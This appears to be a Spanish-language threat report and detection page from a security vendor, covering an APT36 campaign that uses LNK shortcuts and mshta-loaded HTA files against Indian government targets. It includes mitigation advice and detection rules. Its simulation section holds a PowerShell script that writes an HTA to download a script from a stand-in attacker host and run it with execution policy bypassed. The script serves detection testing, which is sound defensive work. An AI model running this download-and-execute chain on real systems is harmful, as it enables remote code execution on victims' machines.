APT36: Campaña de Malware LNK Multi-Etapa Dirigida a Entidades del Gobierno Indio
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
APT36 (Transparent Tribe) llevó a cabo una campaña de spear-phishing que entregó un acceso directo LNK malicioso disfrazado de un PDF. Al abrirse, el atajo lanza mshta.exe para ejecutar un cargador basado en HTA que descifra y ejecuta cargas en la memoria, incluyendo un módulo de configuración y un DLL RAT de funciones completas. El malware selecciona dinámicamente los métodos de persistencia basándose en el producto antivirus instalado de la víctima y se conecta a su servidor de comando y control a través de un canal encriptado. La actividad se evalúa como centrada en el espionaje, con el objetivo de atacar a organizaciones gubernamentales y académicas de India para robar datos.
Investigación
Los investigadores analizaron el inusualmente grande archivo LNK, rastrearon el contenido incrustado del HTA alojado en innlive.in, y realizaron ingeniería inversa de la lógica de descifrado. La cadena reveló dos etapas principales: una carga de deserialización .NET utilizada para debilitar o evadir controles de seguridad, seguida de un DLL malicioso sin archivos (por ejemplo, ki2mtmkl.dll / iinneldc.dll) que proporciona funcionalidad RAT. El comportamiento de persistencia se asignó a productos antivirus específicos, y detalles clave de C2, como puerto TCP 8621 y una clave AES utilizada para el tráfico encriptado, se extrajeron durante el análisis.
Mitigación
Restringir o poner en cuarentena los archivos adjuntos de atajo (.lnk) entregados por correo electrónico, especialmente cuando están empaquetados en archivos ZIP. Aplicar políticas de control de aplicaciones para limitar la ejecución de mshta.exe, PowerShell y otros motores de scripts desde rutas escribibles por el usuario. Utilizar detecciones de endpoint para cadenas de procesos involucrando mshta.exe e indicadores de ejecución de DLL en memoria, y aplicar controles de salida estrictos para bloquear la comunicación con dominios desconocidos o no confiables.
Respuesta
Si se detecta la ejecución sospechosa de un LNK, aislar el sistema, capturar imágenes de memoria y buscar indicadores de DLL en memoria vinculados a la etapa RAT. Bloquear dominios maliciosos identificados e infraestructuras IP relacionadas, y rotar credenciales potencialmente expuestas. Realizar una revisión forense para localizar artefactos de persistencia en la carpeta de Inicio y el registro, eliminarlos y validar que no queden puntos de apoyo adicionales.
Flujo de Ataque
Detecciones
Archivo LNK Posiblemente Malicioso con Doble Extensión (vía cmdline)
Ver
Comportamiento de Evasión de Defensa Suspicious LOLBAS MSHTA mediante Detección de Comandos Asociados (vía process_creation)
Ver
Binarios / Scripts Sospechosos en Ubicación de Autostart (vía file_event)
Ver
Archivos Sospechosos en Perfil de Usuario Público (vía file_event)
Ver
Ejecución Sospechosa desde Perfil de Usuario Público (vía process_creation)
Ver
IOCs (SourceIP) para detectar: APT36 : Campaña de Malware Multi-Etapa LNK Objetivo en Entidades Gubernamentales de India
Ver
IOCs (HashSha256) para detectar: APT36 : Campaña de Malware Multi-Etapa LNK Objetivo en Entidades Gubernamentales de India
Ver
IOCs (DestinationIP) para detectar: APT36 : Campaña de Malware Multi-Etapa LNK Objetivo en Entidades Gubernamentales de India
Ver
Ejecución de mshta.exe con PowerShell o CMD [Creación de Procesos en Windows]
Ver
Detección de Dominio Malicioso de APT36 y Comunicación C2 [Conexión de Red de Windows]
Ver
Detección de Clave AES Codificada en Campaña APT36 [Sysmon de Windows]
Ver
Ejecución de Simulación
Prerrequisito: La Comprobación Previa de Telemetría y Línea Base debe haber pasado.
Motivo: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa y Comandos del Ataque:
Un adversario ha obtenido acceso de bajo privilegio a PowerShell en una estación de trabajo comprometida. Para ejecutar una carga remota sin escribir un ejecutable en el disco, el atacante usamshta.exepara ejecutar un archivo HTA que extrae una puerta trasera PowerShell de un servidor C2. Los pasos son:- Codificar un HTA malicioso mínimo que inicie PowerShell para descargar y ejecutar una carga.
- Alojar el HTA en un servidor web (p. ej.,
http://attacker.local/malicious.hta). - Desde la sesión comprometida de PowerShell, invocar
mshta.execon la URL remota como argumento.
Esta cadena crea un evento de creación de proceso donde
mshta.exees el hijo depowershell.exe, coincidiendo exactamente con la regla Sigma. -
Script de Prueba de Regresión:
#------------------------------------------------- # Script de atacante simulado – dispara la regla #------------------------------------------------- # 1. Definir el HTA malicioso (en línea para fines de demostración) $htaContent = @" <script> // Descargar y ejecutar una carga útil de PowerShell de demostración var url = 'http://attacker.local/payload.ps1'; var xhr = new ActiveXObject('Microsoft.XMLHTTP'); xhr.open('GET', url, false); xhr.send(); var ps = new ActiveXObject('WScript.Shell'); ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false); </script> "@ # 2. Escribir HTA en ubicación temporal (simulando un archivo alojado) $tempPath = "$env:TEMPmalicious.hta" $htaContent | Set-Content -Path $tempPath -Encoding ASCII # 3. Lanzar mshta.exe desde PowerShell (el disparador de detección) $mshta = (Get-Command mshta.exe).Source Write-Host "[*] Lanzando mshta.exe para ejecutar la carga útil HTA..." Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow # Opcional: Dormir para permitir que se capture el evento Start-Sleep -Seconds 5 # Limpieza (manejada en la siguiente sección) -
Comandos de Limpieza:
# Eliminar archivo HTA temporal Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue # Detener cualquier proceso mshta.exe que persista (poco probable después de la ejecución normal) Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] Limpieza completa."